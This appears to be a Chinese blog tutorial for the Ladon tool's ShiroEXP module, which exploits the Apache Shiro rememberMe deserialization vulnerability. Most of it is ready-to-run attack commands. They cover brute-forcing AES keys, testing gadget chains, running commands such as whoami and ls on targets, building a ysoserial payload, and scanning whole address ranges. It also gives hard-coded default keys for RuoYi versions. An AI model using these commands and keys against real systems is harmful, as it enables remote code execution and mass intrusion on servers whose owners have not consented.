logo

K8哥哥

没有绝对安全的系统

Ladon ShiroEXP高效爆破Key 反序列化漏洞复现

<%

Ladon ShiroEXP 高效爆破Key Shiro反序列化漏洞复现

功能简介

支持执行自定义payload (ysoserial) 一键爆破Shiro Key 自动CBC/GCM 支持keys.txt 多线程检测1100+仅需几十秒 一键检测 反序列化 利用链 Shiro高版本GCM回显命令执行(不出网) Shiro低版本CBC回显命令执行(不出网) 输出ShiroExp.log

命令执行-回显利用链
CommonsCollectionsK2
CommonsBeanutils2
Jdk7u21
Jdk8u20
CommonsBeanutils1
CommonsCollectionsK1

Shiro反序列化漏洞原理

由于Apache Shiro cookie中通过 AES-128-CBC、AES-128-GCM 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。

爆破Shiro Key

内置1000+默认Key,多线程一键爆破(自动AES、GCM加密),几秒验证
支持对Shiro-550(硬编码秘钥)和Shiro-721(Padding Oracle)的一键化检测

1
2
Ladon ShiroExp http://192.168.1.8 check
Ladon ShiroKey http://192.168.1.8

image

image

爆破利用链

内置1000+默认Key,多线程一键爆破(自动AES-CBC、AES-GCM加密),几秒验证

1
2
Ladon ShiroExp http://192.168.1.8 zSyK5Kp6PZAAjlT+eeNMlg== cbc check
Ladon ShiroExp http://192.168.1.8 zSyK5Kp6PZAAjlT+eeNMlg== gcm check

image

ShiroEXP 漏洞利用

使用爆破出来的对应利用链,无回显执行命令

1
2
Ladon ShiroExp http://192.168.1.8 zSyK5Kp6PZAAjlT+eeNMlg== cbc CommonsBeanutils1 whoami
Ladon ShiroExp http://192.168.1.8 zSyK5Kp6PZAAjlT+eeNMlg== gcm CommonsBeanutils1 whoami

image

Rouyi 4.x漏洞利用

Rouyi4Exp只针对4.X默认Key(zSyK5Kp6PZAAjlT+eeNMlg==),利用链CommonsBeanutils1的一键利用。对于其它版本,最好还是使用ShiroExp模块,这个针对所有使用Shiro框架的CMS

1
2
3
Ladon Rouyi4Exp http://192.168.1.8 whoami
Ladon ShiroExp http://192.168.1.8 zSyK5Kp6PZAAjlT+eeNMlg== cbc CommonsBeanutils1 whoami
Ladon ShiroExp http://192.168.1.8 zSyK5Kp6PZAAjlT+eeNMlg== gcm CommonsBeanutils1 whoami

image

执行自定义payload

ysoserial生成payload

Shiro利用链CommonsBeanutils1,所以payload必须使用CommonsBeanutils1封装,并不是任意class都能执行,要不然还爆破利用链的干嘛?因为目标引用了这个库,才能反序列化执行命令,并不是单纯知道KEY,就能执行。

1
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/k8gege.txt" > yso.ser

使用对应KEY 对应加密方式 执行payload 如shiro低版本 AES-CBC对应KEY加密,再发送加密后的cookie,所以这是为什么直接抓别人包,发送YSO生成payload无效的原因,一定要了解整个EXP通信原理,而不是表面理解,只知道通过remberME字段反序列化,可是让自己构造个payload,都不知道要封装成对应的,随意找个class当然不行啊,除非是原生JAVA,且支持所有java版本的class,明显没有,存在通用反序化payload的话就不需要ysoserial工具了。

1
Ladon ShiroExp http://192.168.50.223:8080 kPH+bIxk5D2deZiIxcaaaA== cbc diy yso.ser

检测是否执行成功

1
2
3
4
5
6
7
8
9
Ladon ShiroExp http://192.168.50.223:8080 kPH+bIxk5D2deZiIxcaaaA== cbc CommonsCollectionsK1 "ls /tmp"

http://192.168.50.223:8080 IsShiro
Exp...
Res:
hsperfdata_root
k8gege.txt ---
tomcat-docbase.6132634819123728545.8080
tomcat.2080411627486188816.8080

影响版本

1
2
3
4
5
Apache Shiro < 1.2.4

RuoYi 版本号 对象版本的默认AES密钥
4.6.1-4.3.1 zSyK5Kp6PZAAjlT+eeNMlg==
3.4-及以下 fCq+/xW488hMTCD+cmJ3aQ==

Shiro框架检测

模块IsShiro,Cobalt Strike下命令用法一致,但无需上传EXE至目标,内存加载,隐蔽性高

指定URL

1
Ladon http://192.168.1.8 IsShiro

指定IP

1
Ladon 192.168.1.8 IsShiro

批量URL

1
Ladon url.txt IsShiro

PS:TXT可存放IP、IP:Port、URL等格式

批量IP

1
2
Ladon ip.txt IsShiro
Ladon noping ip.txt IsShiro

指定C段

1
2
3
4
5
Ladon 192.168.1.8/24 IsShiro
Ladon noping 192.168.1.8/24 IsShiro

Ladon 192.168.1.8/24 IsShiro
Ladon noping 192.168.1.8/24 IsShiro

指定B段

1
2
3
4
5
Ladon 192.168.1.8/b IsShiro
Ladon noping 192.168.1.8/b IsShiro

Ladon 192.168.1.8/b IsShiro
Ladon noping 192.168.1.8/b IsShiro

指定A段

1
2
3
4
5
Ladon 192.168.1.8/a IsShiro
Ladon noping 192.168.1.8/a IsShiro

Ladon 192.168.1.8/a IsShiro
Ladon noping 192.168.1.8/a IsShiro

批量C段

1
2
3
4
5
Ladon ip24.txt IsShiro
Ladon ipc.txt IsShiro

Ladon noping ip24.txt IsShiro
Ladon noping ipc.txt IsShiro

PS: TXT存放多个目标的C段IP

批量B段

1
2
Ladon ip16.txt IsShiro
Ladon noping ip16.txt IsShiro

PS: TXT存放多个目标的B段IP

批量网段

1
2
Ladon cidr.txt IsShiro
Ladon noping cidr.txt IsShiro

PS: TXT存放各种IP网段,全网无差别扫描

更多功能 使用教程

http://k8gege.org/Ladon/

扫码加入K8小密圈